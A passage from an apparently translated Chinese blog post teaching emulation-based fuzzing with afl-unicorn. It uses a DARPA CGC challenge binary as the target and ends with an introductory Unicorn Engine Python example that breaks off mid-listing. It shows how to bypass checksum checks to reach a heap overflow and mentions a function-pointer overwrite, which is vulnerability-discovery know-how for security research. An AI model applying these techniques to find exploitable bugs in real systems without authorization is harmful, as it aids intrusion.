href="https://medium.com/@njvoss299/afl-unicorn-fuzzing-arbitrary-binary-code-563ca28936bf?ref=hackernoon.com">第一篇博文</a>。运气好的话,您会发现路径并希望出现一些崩溃!</p><h3 id="具体示例:CGC-的-FSK-Messaging-Service"><a href="#具体示例:CGC-的-FSK-Messaging-Service" class="headerlink" title="具体示例:CGC 的 FSK_Messaging_Service"></a>具体示例:CGC 的 FSK_Messaging_Service</h3><h4 id="示例目标应用程序的描述"><a href="#示例目标应用程序的描述" class="headerlink" title="示例目标应用程序的描述"></a>示例目标应用程序的描述</h4><p>Trail of Bits 最近发布了<a href="https://github.com/trailofbits/cb-multios?ref=hackernoon.com">cb-multios</a>,其中包含来自 DARPA 的<a href="https://www.darpa.mil/program/cyber-grand-challenge?ref=hackernoon.com">Cyber Grand Challenge</a>的挑战以及额外的支持库,使它们易于在 Linux 上编译和运行。在此示例中,我将演示如何使用 afl-unicorn 来模糊测试其中一项挑战的解析功能,该挑战是专门设计为难以模糊测试的,<a href="https://github.com/trailofbits/cb-multios/tree/master/challenges/FSK_Messaging_Service?ref=hackernoon.com">FSK_Messaging_Service</a>:</p><blockquote><p>[…] 一种实现分组无线电接收器的服务,包括 FSK 解调前端、分组解码、处理,最后将其解析为简单的消息服务。</p></blockquote><p>FSK_Messaging_Service 挑战专门设计用于挑战模糊测试。虽然潜在的漏洞相当简单,但在对模拟模拟 RF 输入进行大量解析和解调后,这些漏洞仍然存在。此外,数据本身附加了一个简单的 16 位校验和,必须在执行完整解析之前对其进行验证。从挑战的描述:</p><blockquote><p>这个 [challenge binary] 向计算机推理系统提出了许多挑战。难点在于将输入集转换为射频前端后的处理数据。由于其本质,<strong>模糊测试将是无效</strong>的,因为射频接收器自然会受到噪声的影响,并且特别适合在存在噪声的情况下识别信号[…]因此,这个[挑战]被主观认为是困难的,旨在测试超越状态最先进的输入推理能力和求解器。</p></blockquote><p>下图显示了 FSK_Messaging_Service 应用程序的整体逻辑和数据流:</p><p><img src="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1nA2pNj6DLPhwwLSU-OYrSQ.png" class="lazyload placeholder" data-srcset="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1nA2pNj6DLPhwwLSU-OYrSQ.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="图片"></p><p>传统的模糊器(包括 AFL)永远无法通过解调逻辑。Afl-unicorn 让您可以直接将您认为最有可能易受攻击的代码作为目标。</p><h4 id="找到我们需要模拟和模糊测试目标代码的内容"><a href="#找到我们需要模拟和模糊测试目标代码的内容" class="headerlink" title="找到我们需要模拟和模糊测试目标代码的内容"></a>找到我们需要模拟和模糊测试目标代码的内容</h4><p>好的。所以我们不能对前门界面进行模糊测试,但是通过对代码进行一些分析(或者如果我们没有源代码则进行反汇编)很容易找到直觉告诉我们最有可能拥有的功能错误:在<a href="https://github.com/trailofbits/cb-multios/blob/master/challenges/FSK_Messaging_Service/src/packet.c?ref=hackernoon.com">packet.c</a>中找到<em>cgc_receive_packet()</em>。这个函数相当简单,并执行以下操作:</p><ul><li>验证数据包缓冲区不为空且其长度大于 0</li><li>通过计算和比较 16 位 CRC 来验证数据包内容</li><li>循环数据包类型,如果匹配则调用<em>cgc_add_new_packet()</em></li><li>如果找到有效的数据包类型,<em>cgc_add_new_packet()</em>实例化一个<em>tSinglePacketData</em>结构并从数据包中复制信息</li></ul><p>这是源代码中的一些经过稍微修改的片段集合,显示了相关部分:</p><p>当然,实际上您很可能没有可用的源代码。相反,您必须使用传统的逆向工程方法(静态和动态分析)来了解有关目标应用程序的所有必要信息。</p><p>所以现在我们有了我们的模糊测试目标和输入是如何给出的知识:</p><ul><li>我们想从<em>cgc_receive_packet()</em>函数中进行模糊测试</li><li>输入以 3 个参数的形式传递到函数中:指向数据包数据的指针 ( <em>uint8_t \</em>pData<em> )、相应的长度 ( </em>uint8_t dataLen<em> ) 和数据的校验和 ( </em>uint16_t packetCRC* )</li></ul><p>我们还知道对输入的一个简单约束:</p><ul><li>最大数据长度为 256 字节,因为<em>dataLen</em>是一个 8 位值</li></ul><h4 id="转储有效的运行进程上下文"><a href="#转储有效的运行进程上下文" class="headerlink" title="转储有效的运行进程上下文"></a>转储有效的运行进程上下文</h4><p>现在我们想要在调用此函数时获取整个进程内存的快照,以使仿真尽可能简单。与更简单的方法(例如<a href="https://github.com/pbiernat/ripr?ref=hackernoon.com">ripr</a>或<a href="https://github.com/alexhude/uEmu?ref=hackernoon.com">uEmu</a>提供的就地仿真)相比,这看起来像是一种粗暴的方法,它解决了很多问题。例如,全局列表<em>cgc_g_packetHandlers</em>在运行时填充,因此除非我们有其内存位置的运行时状态,否则迭代<em>cgc_packet_receive()</em>中的处理程序的 for 循环将在仿真期间失败。</p><p>使用“Unicorn Context Dumper”脚本转储整个进程内存状态和寄存器上下文。我们已经创建了几个不同的版本来支持不同的调试器,包括 IDA Pro(目前版本 7 之前)、LLDB 和带有 GEF 的 GDB。目前只有<a href="https://github.com/njv299/afl-unicorn/blob/master/unicorn_mode/helper_scripts/unicorn_dumper_ida.py?ref=hackernoon.com">IDA 版本可用</a>,但其余版本(以及为其他调试器创建的任何其他版本)将在准备就绪后立即推送到 GitHub。只需将 IDA Pro 的调试器附加到正在运行的 FSK_Message_Service 进程,在模糊测试起始地址处设置断点,然后通过 IDA 运行脚本(<em>文件->脚本文件…</em>)。请注意,我只使用 IDA 的内置远程调试服务器对此进行了测试。附加到其他调试器可能会以不同方式显示内存段,这可能会导致错误。</p><p><em>我选择在调用cgc_packet_receive()</em>之前设置我的起始地址,参数方便地全部在寄存器中而不是在堆栈中。这使得在我的 Unicorn 仿真脚本中修改它们变得更容易一些。</p><p><img src="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1_nILRn-9zKrJ4SdOuwFUAw.png" class="lazyload placeholder" data-srcset="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1_nILRn-9zKrJ4SdOuwFUAw.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="图片"></p><blockquote><p>模拟的代码的起始和结束地址红色标出:</p><p>Emulation start address 中 将参数(在ecx中)存到了栈顶</p><p>Emulation end address 中 将结果</p><hr><p>movzx:无符号扩展(16bit->32bit)</p></blockquote><p><em>上下文在调用cgc_receive_packet()</em>之前被转储。<em>输入参数(\</em>pData 和 dataLen)位于寄存器中,在这里很容易更改,而不是在堆栈中。*</p><p>脚本完成后,它会在与 IDA 数据库 (.idb) 相同的文件夹中生成一个“Unicorn Context”目录。这个目录包含两个东西:</p><ul><li><em>_index.json</em>:一个 JSON 格式的文件,包含有关进程中所有内存段的元数据、寄存器状态和体系结构信息</li><li>许多 gzip 压缩的二进制文件包含进程中每个单独内存段的内容</li></ul><p><img src="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1tUYpCVZhTSPQFa3LHZ2gQg.png" class="lazyload placeholder" data-srcset="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1tUYpCVZhTSPQFa3LHZ2gQg.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="图片"></p><p>由 Unicorn Context Dumper 工具之一创建的典型“Unicorn Context” 的 _index.json中的内容</p><p><img src="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1go21Y2JJeL24dmmD_60H9A.png" class="lazyload placeholder" data-srcset="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1go21Y2JJeL24dmmD_60H9A.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="图片"></p><p>_index.json 文件包含所有内存段、寄存器上下文和架构信息的元数据</p><h4 id="创建一个可模糊的独角兽测试框架"><a href="#创建一个可模糊的独角兽测试框架" class="headerlink" title="创建一个可模糊的独角兽测试框架"></a>创建一个可模糊的独角兽测试框架</h4><p>现在我们有了一个开始仿真的起始上下文,我们编写了一个 Unicorn 脚本来加载上下文(映射所有内存区域,将内容加载到它们中,并设置寄存器内容),hook任何会破坏仿真或会阻碍模糊测试的东西(<em>malloc ()</em> , <em>free()</em> , checksum 验证等), 将一个新的数据包嵌入到适当的地方,并从头到尾模拟代码。我已经创建了一个<a href="https://github.com/njv299/afl-unicorn/blob/master/unicorn_mode/helper_scripts/template_test_harness.py?ref=hackernoon.com">基本模板</a>作为示例测试工具。</p><p>快进一点,下面显示的是完整的 Unicorn 脚本,它可以模拟 FSK_Message_Service 应用程序的应用层数据包解析,从从 Unicorn 上下文转储程序生成的上下文目录加载的初始状态开始。此脚本在很大程度上依赖于从afl-unicorn 提供的<a href="https://github.com/njv299/afl-unicorn/blob/master/unicorn_mode/helper_scripts/unicorn_loader.py?ref=hackernoon.com"><em>unicorn_loader.py模块导入的功能。</em></a>我们将在下面讨论一些更有趣的部分,但在大多数情况下,这遵循我之前的博客文章中讨论的基本步骤。</p><p>该脚本中有几个独特的部分,使模拟和模糊测试成为可能。下面详细描述了每一个:</p><p><strong><em>从转储上下文实例化独角兽引擎实例:</em></strong> <a href="https://github.com/njv299/afl-unicorn/blob/master/unicorn_mode/helper_scripts/unicorn_loader.py?ref=hackernoon.com">unicorn_loader.py模块</a>提供了一个新的<em>AflUnicornEngine</em>类,它派生自普通的<em>UnicornEngine</em>。构造函数有 3 个参数:上下文目录的路径,一个在 STDOUT 上启用跟踪输出的标志,以及一个在将上下文加载到 STDOUT 时启用调试输出的标志。</p><p><img src="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1RnRekLlTcpLFYq1AhwWfVQ.png" class="lazyload placeholder" data-srcset="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1RnRekLlTcpLFYq1AhwWfVQ.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="图片"></p><p>从上下文目录实例化后,AflUnicornEngine 已映射所有进程内存,初始化寄存器值,并准备好从指令指针进行仿真</p><p>AflUnicornEngine类还提供了一些可用于模糊测试工具的附加 API <em>:</em></p><ul><li><em>dump_regs()</em>:将当前寄存器内容转储到 STDOUT</li><li><em>force_crash(e)</em>:通过发出信号(SIGILL、SIGSEGV、SIGABRT 等)强制测试工具崩溃。这让 AFL 检测到发生了崩溃并正确记录。如果发生崩溃情况(例如<em>emu_start()</em>抛出异常),您必须调用它!</li></ul><p>因为此类派生自<em>UnicornEngine</em>基类,您仍然可以使用所有常规调用,例如<em>emu_start()</em>、<em>reg_read()</em>和<em>mem_write()</em>。要查看<em>AflUnicornEngine</em>类上可用的所有 API,请通读 unicorn_loader 模块的<a href="https://github.com/njv299/afl-unicorn/blob/master/unicorn_mode/helper_scripts/unicorn_loader.py?ref=hackernoon.com">源代码</a>。</p><p><strong><em>hook所有堆分配 ( \</em>malloc()* ):*</strong>在仿真期间调用<em>malloc()</em>可能会导致各种问题。分配器可能需要向内核请求更多内存,但在仿真期间我们没有内核这样的东西……所以这会导致崩溃。为了防止这种情况,Unicorn 脚本hook对malloc()的任何调用,转而调用unicorn_loader.py模块中随 afl-unicorn 一起提供的基于 Unicorn 的实现。</p><p>下面的代码片段显示了用于为 FSK_Messaging_Service 二进制文件执行此操作的代码,这是一个 32 位 Linux 二进制文件。</p><p><img src="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1YjxSZUfxmWYF50e-2iTCNQ.png" class="lazyload placeholder" data-srcset="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1YjxSZUfxmWYF50e-2iTCNQ.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="图片"></p><p>对 malloc() 的调用被重定向到我们自己内部的、页面保护的、基于 Unicorn 的实现。在第 45 行中,从堆栈中检索字节数。第 46 行调用内部的、基于 Unicorn 的实现。第 47 行将返回值(分配的缓冲区的地址)放入 EAX,第 48 和 49 行通过将 EIP 设置为返回地址然后将返回地址弹出堆栈来手动执行“返回”。所有这些都符合典型的<a href="https://en.wikipedia.org/wiki/X86_calling_conventions?ref=hackernoon.com">x86 调用约定</a>。在将此方法应用于您自己的二进制文件时,请确保您遵循给定操作系统和体系结构的调用约定!</p><p><img src="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1GnlMziIIxEZ7Zo0zH-JNuQ.png" class="lazyload placeholder" data-srcset="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1GnlMziIIxEZ7Zo0zH-JNuQ.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="图片"></p><p>由基于 Unicorn 的堆实现分配的所有缓冲区都自动被保护页面包围,这将强制在任何下溢/溢出时产生崩溃。</p><p>自己处理内存分配的另一个主要好处是我们可以实现自己的基本<a href="https://www.us-cert.gov/bsi/articles/knowledge/coding-practices/guard-pages?ref=hackernoon.com">保护页</a>。基本上,所有分配的缓冲区都被没有读或写权限的“保护页”包围。返回缓冲区边界之外的任何访问(也称为堆溢出或下溢)将立即崩溃并导致内存访问冲突。</p><p>请注意,<em>unicorn_loader.py模块中的**UnicornSimpleHeap</em>类也提供<em>free()、calloc()</em>和<em>realloc()</em>功能,但为简单起见,我在本示例中选择仅hook操作<em>malloc() 。</em>为了模拟更大、运行时间更长和更复杂的代码,您可能希望或需要hook所有与堆相关的函数。</p><p><strong><em>跳过不必要的、难以模拟的功能:</em></strong>还有许多其他事情显然会导致问题。<em>例如, Printf()肯定会调用内核,以便将要打印的文本发送到图形设备进行渲染。您需要分析您尝试模拟的代码,并努力识别您认为可能会破坏模拟的任何内容。在这个例子中,我已经确定</em>free()<em>、 </em>printf()<em>和</em>cgc_transmit()<em>会由于各种原因导致仿真失败,而且我也可以跳过它们而不会对模糊测试结果造成任何重大影响。通过强制立即返回来跳过所有这些功能。这是以与最后一部分相同的方式完成的</em>上面描述的malloc()*钩子:手动将 EIP 设置为存储在堆栈中的返回地址,然后通过向 ESP 添加 4 将返回地址弹出堆栈。请记住,这个确切的过程特定于 x86,因此请根据您的目标体系结构进行必要的调整。</p><p><img src="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1k_2GiicdU0snO4fnBopK2Q.png" class="lazyload placeholder" data-srcset="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1k_2GiicdU0snO4fnBopK2Q.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="图片"></p><p>调用时会立即返回有问题的函数。确保这样做不会产生意想不到的后果!</p><p><strong><em>绕过校验和验证:\</em></strong>每个接收到的数据包都附带一个 16 位 CRC,必须在验证数据包之前对其进行验证(请参阅本文前面源代码片段的第 27-31 行)。仅此一项就对传统模糊测试提出了重大挑战,因为任何盲目修改数据包的尝试都会导致 CRC 检查失败并且几乎没有代码覆盖。这种类型的问题是众所周知的,但传统上它需要对目标二进制文件进行修补或开发才能为每个输入正确生成有效的校验和。</p><p>Afl-unicorn 使得绕过这个相当微不足道。对于这个例子,校验和验证在 IDA 中很容易识别:</p><p><img src="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F11eoottp7pWUVYYSB25qVjA.png" class="lazyload placeholder" data-srcset="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F11eoottp7pWUVYYSB25qVjA.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="图片"></p><p>我们想确保在仿真模糊测试时我们总是沿着左边的路径走</p><p>我们只需hook对<em>cgc_simple_checksum16()</em>的调用,并且只要执行到那里,EIP 就会手动设置为“CRC 校验通过”路径:</p><p><img src="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1acJk8yDBgsQmrJz4N7xVSA.png" class="lazyload placeholder" data-srcset="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1acJk8yDBgsQmrJz4N7xVSA.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="图片"></p><p>使用 Unicorn 绕过 CRC 检查非常简单</p><p>这并不妨碍我们以后必须弄清楚如何计算 CRC 以开发一个完整的有效漏洞利用程序,但它让我们将这项工作推到线下,而不是首先专注于寻找漏洞。</p><p><strong><em>在加载变异输入之前模拟一条指令:\</em></strong>这是最奇怪的部分,它实际上只是我如何将 AFL 检测到 Unicorn 中的一个产物,因为我<a href="https://github.com/njv299/afl-unicorn/issues/3?ref=hackernoon.com">还没有想出解决</a>真正内部问题的方法:为了确保AFL 的 forkserver 在正确的时间启动,您必须在从磁盘加载变异输入之前至少模拟 1 条指令。如果不这样做,那么 AFL 创建的每个分支都将使用相同的输入执行。在示例脚本中,这是在第 82 行和第 87 行之间完成的:</p><p><img src="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1QThrKsTRvST5j0GAsYt7ew.png" class="lazyload placeholder" data-srcset="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1QThrKsTRvST5j0GAsYt7ew.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="图片"></p><p>是的,这是一个 hack……暂时接受它,希望它能在不久的将来得到修复</p><p>所以基本上,在加载变异输入之前,您只需要在测试工具中的某个地方使用此代码块。不过,有一个细微差别:您需要问问自己,重新执行第一条指令是否会产生任何负面后果。在此示例中,执行的第一条指令是无害的“mov [esp],ecx”,因此重新执行它不会产生任何负面影响。如果您不想或无力重新执行第一条指令,只需在第二次开始仿真时适当调整起始地址 ( <em>uc.emu_start()</em> )。</p><h4 id="使用-afl-unicorn-对模拟二进制文件进行模糊测试"><a href="#使用-afl-unicorn-对模拟二进制文件进行模糊测试" class="headerlink" title="使用 afl-unicorn 对模拟二进制文件进行模糊测试"></a>使用 afl-unicorn 对模拟二进制文件进行模糊测试</h4><p>Unicorn harness 完成后,剩下要做的唯一一件事就是在 afl-unicorn 下运行它,并希望它能发现一些崩溃。有关如何运行 afl-unicorn 的详细信息,请务必阅读我之前的博客文章,但对于这个特定实例,我们只运行典型的 afl-unicorn 命令行:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">afl-fuzz -U -m none -i /path/to/inputs/ -o /path/to/results/ -- python fsk_message_service_test_harness.py /path/to/context_dir/ @@</span><br></pre></td></tr></table></figure><p><img src="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1HgY8NW9M0Lg0QWq9dPXhRg.png" class="lazyload placeholder" data-srcset="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1HgY8NW9M0Lg0QWq9dPXhRg.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="图片"></p><p>只需几秒钟即可发现崩溃!</p><p>果然,它在挑战的<a href="https://github.com/trailofbits/cb-multios/blob/master/challenges/FSK_Messaging_Service/README.md?ref=hackernoon.com">README中描述的</a><em>cgc_packet_receive()</em>函数中发现了漏洞:</p><blockquote><p>在接收到超过 64 字节最大数据包大小的数据包时,将对新分配的数据包结构的 memcpy 进行不正确的长度检查。这允许在堆上发生内存覆盖。这个数据结构有一个指向可以被覆盖的数据包处理程序的函数指针,一旦服务执行这个函数指针,就有机会通过覆盖这个函数指针来执行控制流。</p></blockquote><p><em>从转储崩溃的输入文件可以明显看出,对于tSinglePacketData结构中分配的**packetData</em>缓冲区来说,数据包太大(>48 字节):</p><p><img src="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1j6cCxYJQYpkOJsj6AEsLYw.png" class="lazyload placeholder" data-srcset="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1j6cCxYJQYpkOJsj6AEsLYw.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="图片"></p><p>崩溃数据包大于 48 字节(数据包数据在解析期间复制到的缓冲区的大小)</p><p>然后我们可以通过运行带有崩溃输入的 Unicorn 脚本来验证这一点:</p><p><img src="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1glbsW2gFT7QDNrenVaDkaw.png" class="lazyload placeholder" data-srcset="imageurl=https%3A%2F%2Fcdn.hackernoon.com%2Fhn-images%2F1glbsW2gFT7QDNrenVaDkaw.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="图片"></p><p>通过 Unicorn 脚本运行崩溃输入来验证它并更彻底地调试它</p><p>下一步将是弄清楚如何将这个崩溃输入发送到实际(非模拟)应用程序中,并证明它是一个真实的工作崩溃,并且它不是由模拟错误引起的。</p><h3 id="调试基于仿真的模糊测试问题"><a href="#调试基于仿真的模糊测试问题" class="headerlink" title="调试基于仿真的模糊测试问题"></a>调试基于仿真的模糊测试问题</h3><p>我遇到的一些常见问题包括:</p><ul><li><em>未发现任何路径</em>:确保在加载变异输入之前至少模拟一条指令。如果不这样做,每个fork都会获得相同的未更改输入。在 afl-unicorn 之外独立运行您的测试工具,并确保它从开始到结束地址运行没有任何问题。如果这不能解决问题,请确保已将变异的输入写入模拟内存并正确注册上下文。</li><li><em>发现太多崩溃</em>:要么是您偶然发现了一些真正有问题的代码(大奖!),要么存在仿真问题。跟踪仿真调试跟踪输出并查找破坏仿真的因素,例如基于段寄存器的取消引用、对内核的系统调用或动态模块加载。</li></ul><p>如果事情看起来不错(相当规律地发现新路径),那么其他一切都遵循典型的 AFL 使用模式。确保您的示例输入能够很好地覆盖目标代码并模糊测试您的核心内容。</p><h3 id="我们在哪里,我们要去哪里"><a href="#我们在哪里,我们要去哪里" class="headerlink" title="我们在哪里,我们要去哪里"></a>我们在哪里,我们要去哪里</h3><p>在这篇文章中,我演示了一个示例,说明我们如何使用 afl-unicorn 对现实世界应用程序中难以访问的接口进行模糊测试。我们发现这种方法在 Windows、Linux、Android 和 iOS 应用程序上非常有效,我认为它可以轻松移植到嵌入式系统。</p><p>未完成的任务主要是继续使用使这种方法可用的脚本,并将它们扩展到其他操作系统和体系结构。例如,模拟 Windows 应用程序会引入一长串问题,因为对 PEB 和 TIB 的引用会由于对 GS 段寄存器的引用而导致错误的崩溃。可以创建特定于操作系统的实用程序(以类似于<em>unicorn_loader.py</em>模块中已有的 UnicornSimpleHeap 类的方式)以使用最少的工具处理这些已知情况。<a href="https://github.com/lunixbochs/usercorn?ref=hackernoon.com">这与usercorn</a>项目采用的路线非常相似。此外,<a href="https://github.com/pbiernat/ripr?ref=hackernoon.com">ripr</a>这个项目非常有趣,我相信他们的代码生成方法很有可能可以被改编或扩展以生成一个模板测试工具,这将很容易使模糊化。</p><p>在未来的博客文章中,我计划针对从嵌入式系统检索的平面运行时内存映像使用 afl-unicorn 进行演示。该用例是创建 afl-unicorn 的最初灵感,我仍然相信它是理想的环境,因为它避免了在尝试模拟在更复杂的多线程操作系统中运行的用户态应用程序时引入的大部分问题。</p><h3 id="Credit"><a href="#Credit" class="headerlink" title="Credit"></a>Credit</h3><p>我与俄亥俄州哥伦布市Battelle<a href="https://www.battelle.org/cyber?ref=hackernoon.com">的</a><a href="https://medium.com/@pwiksell?ref=hackernoon.com">Parker Wiksell</a>合作开发了 afl-unicorn 和此处描述的<a href="https://hackernoon.com/tagged/methodology?ref=hackernoon.com">方法</a>作为内部研究项目。Battelle 是一个很棒的工作场所,而 afl-unicorn 只是在那里进行的新颖网络<a href="https://hackernoon.com/tagged/security?ref=hackernoon.com">安全</a>研究的众多例子之一。有关 Battelle 赞助的更多项目,请查看<a href="https://github.com/xoreaxeaxeax?ref=hackernoon.com">Chris</a> Domas和<a href="https://github.com/cetfor?ref=hackernoon.com">John Toterhi</a>(又名<a href="https://medium.com/@cetfor?ref=hackernoon.com">cetfor</a>)之前的工作。有关 Battelle 的职业信息,请查看他们的<a href="https://www.battelle.org/cyber-careers?ref=hackernoon.com">职业页面</a>。</p><p>当然,如果没有<a href="http://lcamtuf.coredump.cx/afl/?ref=hackernoon.com">AFL</a>和<a href="http://www.unicorn-engine.org/?ref=hackernoon.com">Unicorn Engine</a> ,这一切都不可能实现。许多额外的灵感来自 Alex Hude 用于 IDA 的超赞<a href="https://github.com/alexhude/uEmu?ref=hackernoon.com">uEmu</a>插件,许多一般概念是从 NCC Group 的<a href="https://github.com/nccgroup/TriforceAFL?ref=hackernoon.com">AFLTriforce</a>项目中借用的。从<a href="https://github.com/lunixbochs/usercorn?ref=hackernoon.com">usercorn</a>项目中获得了一些额外的灵感,因为它证明了 Unicorn 可以成功地运行用户空间应用程序。</p><h2 id="Unicorn引擎"><a href="#Unicorn引擎" class="headerlink" title="Unicorn引擎"></a>Unicorn引擎</h2><p>Unicorn 是一个轻量级, 多平台, 多架构的 CPU 模拟器框架. 我们可以更好地关注 CPU 操作, 忽略机器设备的差异. 想象一下, 我们可以将其应用于这些情景: 比如我们单纯只是需要模拟代码的执行而非需要一个真的 CPU 去完成那些操作, 又或者想要更安全地分析恶意代码, 检测病毒特征, 或者想要在逆向过程中验证某些代码的含义. 使用 CPU 模拟器可以很好地帮助我们提供便捷.<br>它的亮点 (这也归功于 Unicorn 是基于 qemu 而开发的) 包括:<br>支持多种架构: Arm, Arm64 (Armv8), M68K, Mips, Sparc, & X86 (include X86_64).<br>对 Windows 和 nix 系统 (已确认包含 Mac OSX, Linux, BSD & Solaris) 的原生支持<br>具有平台独立且简洁易于使用的 API<br>使用 JIT 编译技术, 性能表现优异</p><p>那么它应用的场景有哪些呢?<br>• 你可以调用恶意软件中一些有趣的函数, 而不用创建一个有害的进程.<br>• 用于 CTF 竞赛<br>• 用于模糊测试<br>• 用于 gdb 插件, 基于代码模拟执行的插件<br>• 模拟执行一些混淆代码<br>这款神器是在2015年BlackHat大会上发布的,作者的ppt可以在这儿下载到<br><a href="http://www.unicorn-engine.org/BHUSA2015-unicorn.pdf">http://www.unicorn-engine.org/BHUSA2015-unicorn.pdf</a></p><h3 id="Python使用Unicorn的API简易教程"><a href="#Python使用Unicorn的API简易教程" class="headerlink" title="Python使用Unicorn的API简易教程"></a>Python使用Unicorn的API简易教程</h3><p>在 Python 中,模拟 X86 的 32 位代码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> unicorn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> unicorn.x86_const <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="comment"># code to be emulated</span></span><br><span class="line">X86_CODE32 = <span class="string">b"\x41\x4a"</span> <span class="comment"># INC ecx; DEC edx</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># memory address where emulation starts</span></span><br><span class="line">ADDRESS = <span class="number">0x1000000</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">"Emulate i386 code"</span>)</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line"> <span class="comment"># Initialize emulator in X86-32bit mode</span></span><br><span class="line"> mu = Uc(UC_ARCH_X86, UC_MODE_32)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># map 2MB memory for this emulation</span></span><br><span class="line"> mu.mem_map(ADDRESS, <span class="number">2</span> * <span class="number">1024</span> * <span class="number">1024</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># write machine code to be emulated to memory</span></span><br><span class="line"> mu.mem_write(ADDRESS, X86_CODE32)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># initialize machine registers</span></span><br><span class="line"> mu.reg_write(UC_X86_REG_ECX, <span class="number">0x1234</span>)</span><br><span class="line"> mu.reg_write(UC_X86_REG_EDX, <span class="number">0x7890</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># emulate code in infinite time & unlimited instructions</span></span><br><span class="line"> mu.emu_start(ADDRESS, ADDRESS + <span class="built_in">len</span>(X86_CODE32))</span><br><span class="line"></span><br><span class="line"> <span class="comment"># now print out some registers</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Emulation done. Below is the CPU context"</span>)</span><br><span class="line"></span><br><span class="line"> r_ecx = mu.reg_read(UC_X86_REG_ECX)</span><br><span class="line"> r_edx = mu.reg_read(UC_X86_REG_EDX)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">">>> ECX = 0x%x"</span> %r_ecx)</span><br><span class="line"> <span 